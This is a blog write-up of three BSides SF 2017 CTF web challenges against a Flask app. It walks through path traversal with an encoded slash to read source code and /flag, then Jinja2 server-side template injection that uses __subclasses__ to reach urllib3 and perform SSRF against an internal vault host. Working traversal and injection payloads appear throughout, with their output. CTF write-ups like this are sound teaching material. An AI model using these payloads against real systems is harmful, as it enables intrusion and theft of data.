14 Feb 2017

BSides SF CTF Write-up

Web: Zumbo 1

When inspecting the source we see the following comment:

<!-- page: index.template, src: /code/server.py -->

which is a tip to investigate that URL. However, when you visit /code/server.py you get the following:

[Errno 2] No such file or directory: u'code/server.py'
<!-- page: code/server.py, src: /code/server.py -->

No problem, we just need to encode / so in the browser console I ran encodeURIComponent("../") which gives us "..%2F" and put that in the url /..%2Fcode/server.py which gives us source code for a Flask app:

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672

@app.route('/<path:page>')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

@app.route('/')
def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD'
    with open('/flag') as f:
            flag2 = f.read()
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"
    sys.stdout.flush()
    app.run(host="0.0.0.0")  

The first flag was just inside a variable for 20 points: FLAG: FIRST_FLAG_WASNT_HARD.

Web: Zombo 2

Reading the source code we see the following:

  with open('/flag') as f:
            flag2 = f.read()  

On initial sight, it looks hard because the server just reads and flag and does not return it to the client. However, since we know the location of the flag we do not have to wait for the server to read it. We can browse /..%2Fflag which returns: FLAG: RUNNER_ON_SECOND_BASE for easy 100 points.

Web 3: Zombo

We see the following code:

    flag3 = requests.get('http://vault:8080/flag').text

Looks easy, right? but it wasn’t. I made the following request /..%2Fetc/hosts and got:

# Kubernetes-managed hosts file.
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
fe00::0	ip6-mcastprefix
fe00::1	ip6-allnodes
fe00::2	ip6-allrouters
10.72.1.11	zumbo-577685529-hb4s2

No entry for the vault we’re looking for. So we don’t know what IP address it points to. The other piece of the code worth noting for this challenge is in def custom_page(page):

template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)

return flask.render_template_string(template, name='test', counter=counter);

This looks like typical template injection. Since we control the page parameter we can inject our own python template.

We can confirm this behaviour fairly easily. If we try the following: { {7*7}} we would expect the application to render 49. So I hit the endpoint with /%7B%7B7*7%7D%7D and it returned the following message:

[Errno 2] No such file or directory: u'49'

Okay, so the bug is confirmed. Next step is to exploit it.

I tried

{ { config.from_object('httplib') }}   

which returned None httplib.HTTP.

and then

{ { ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w')
.write('import requests\n\nRUNCMD = requests.get('http://vault:8080/flag').text\n') }}

However, when we visit /..%2Ftmp/owned.cfg we get <bad code here. Looks like we can’t write to that location.

So, it looks like we cannot use the nVisium technique because there is mitigation to it. No problem, let’s see if we can use template expressions:

{ % set x = True %} { % if x %} lol { % else %} lololol { % endif %}  

returned lol which confirms we can set variables. Tried the following:

{ { ''.__class__.__mro__[2].__subclasses__() }}

returns all of the potential classes we have access to

[Errno 2] No such file or directory: u"[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'functools.partial'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <class 'gunicorn.six.Iterator'>, <class 'gunicorn.six._LazyDescr'>, <class 'gunicorn.six._SixMetaPathImporter'>, <class 'string.Template'>, <class 'string.Formatter'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <type 'time.struct_time'>, <type 'Struct'>, <class 'urlparse.ResultMixin'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type 'select.epoll'>, <class 'email.LazyImporter'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'calendar.Calendar'>, <type 'grp.struct_group'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <type 'pwd.struct_passwd'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.ZipFile'>, <class 'email.feedparser.BufferedSubFile'>, <class 'pkg_resources._vendor.packaging._structures.Infinity'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.six.Iterator'>, <class 'pkg_resources._vendor.packaging._structures.NegativeInfinity'>, <class 'pkg_resources._vendor.packaging.version._BaseVersion'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.packaging.specifiers.BaseSpecifier'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.packaging.markers.Node'>, <class 'pkg_resources._vendor.packaging.markers.Marker'>, <class 'pkg_resources._vendor.packaging.requirements.Requirement'>, <class 'pkg_resources._SetuptoolsVersionMixin'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class 'gunicorn.app.base.BaseApplication'>, <class 'gunicorn.debug.Spew'>, <class 'gunicorn.config.Setting'>, <class 'gunicorn.config.Config'>, <class 'argparse._ActionsContainer'>, <class 'argparse.FileType'>, <class 'argparse.HelpFormatter'>, <class 'argparse._Section'>, <class 'argparse._AttributeHolder'>, <class 'gunicorn.arbiter.Arbiter'>, <class 'gunicorn.sock.BaseSocket'>, <class 'gunicorn.pidfile.Pidfile'>, <type 'resource.struct_rusage'>, <class 'threading._Verbose'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'logging.config.ConvertingMixin'>, <class 'logging.config.BaseConfigurator'>, <class 'gunicorn.glogging.Logger'>, <class 'gunicorn.http.unreader.Unreader'>, <class 'gunicorn.http.body.ChunkedReader'>, <class 'gunicorn.http.body.LengthReader'>, <class 'gunicorn.http.body.EOFReader'>, <class 'gunicorn.http.body.Body'>, <class 'gunicorn.http.message.Message'>, <class 'gunicorn.http.parser.Parser'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'gunicorn.http.wsgi.FileWrapper'>, <class 'gunicorn.http.wsgi.Response'>, <class 'gunicorn.workers.workertmp.WorkerTmp'>, <class 'gunicorn.workers.base.Worker'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.HeaderSet'>, <class 'werkzeug.datastructures.ETags'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'werkzeug.urls.Href'>, <class 'werkzeug.wsgi.SharedDataMiddleware'>, <class 'werkzeug.wsgi.DispatcherMiddleware'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi.LimitedStream'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.BaseRequest'>, <class 'werkzeug.wrappers.BaseResponse'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'werkzeug.wrappers.StreamOnlyMixin'>, <class 'werkzeug.wrappers.ETagResponseMixin'>, <class 'werkzeug.wrappers.ResponseStream'>, <class 'werkzeug.wrappers.ResponseStreamMixin'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.WWWAuthenticateMixin'>, <class 'werkzeug.exceptions.Aborter'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'uuid.UUID'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.runtime.TemplateReference'>, <class 'numbers.Number'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'itsdangerous._CompactJSON'>, <class 'itsdangerous.SigningAlgorithm'>, <class 'itsdangerous.Signer'>, <class 'itsdangerous.Serializer'>, <class 'itsdangerous.URLSafeSerializerMixin'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.sessions.SessionMixin'>, <class 'flask.sessions.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'requests.packages.urllib3.util.selectors.BaseSelector'>, <class 'requests.packages.urllib3.packages.six._LazyDescr'>, <class 'requests.packages.urllib3.packages.six._SixMetaPathImporter'>, <class 'requests.packages.urllib3.packages.six.Iterator'>, <class 'requests.packages.urllib3.util.timeout.Timeout'>, <class 'requests.packages.urllib3.util.retry.Retry'>, <class 'requests.packages.urllib3.connection.DummyConnection'>, <class 'requests.packages.urllib3.connection.HTTPConnection'>, <class 'requests.packages.urllib3.fields.RequestField'>, <class 'requests.packages.urllib3.request.RequestMethods'>, <class 'requests.packages.urllib3.response.DeflateDecoder'>, <class 'requests.packages.urllib3.response.GzipDecoder'>, <class 'requests.packages.urllib3.connectionpool.ConnectionPool'>, <class 'requests.cookies.MockRequest'>, <class 'requests.cookies.MockResponse'>, <type 'unicodedata.UCD'>, <type 'array.array'>, <class 'requests.auth.AuthBase'>, <class 'requests.models.RequestEncodingMixin'>, <class 'requests.models.RequestHooksMixin'>, <class 'requests.models.Response'>, <class 'requests.adapters.BaseAdapter'>, <class 'requests.sessions.SessionRedirectMixin'>, <type 'method-wrapper'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.debug.ProcessedTraceback'>, <class 'subprocess.Popen'>]"  

Let’s try ''.__class__.__mro__[2].__subclasses__()[341] because it looks interesting.

/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[341]%20%7D%7D returns:

 u"<class 'requests.packages.urllib3.connection.HTTPConnection'>"  

Yay, looks like we have access to urllib3 which should let us make a request. At this point to get the flag we have to use template injection to do server side request forgery (SSRF). So the code we need now looks something like this:

conn = ''.__class__.__mro__[2].__subclasses__()[341]('vault:8080')
conn.request('GET', '/flag')
r1 = conn.getresponse()
r1.read()

Let’s make the request (but with JINJA2 syntax) – see how instead of variable declarations, we now use something like { % set x = func() %}

/%7B%%20set%20conn%20=%20%27%27.__class__.__mro__[2].__subclasses__()[341](%27vault:8080%27)%20%%7D%20%7B%7B%20conn.request(%27GET%27,%20%27/flag%27)%20%7D%7D%20%7B%%20set%20r1%20=%20conn.getresponse()%20%%7D%20%7B%7B%20r1.read()%20%7D%7D

which gives us the response:

[Errno 2] No such file or directory: u" None FLAG: BRICK_HOUSE_BEATS_THE_WOLF "

which has our flag FLAG: BRICK_HOUSE_BEATS_THE_WOLF for 250 points.

I'm on twitter @_amanvir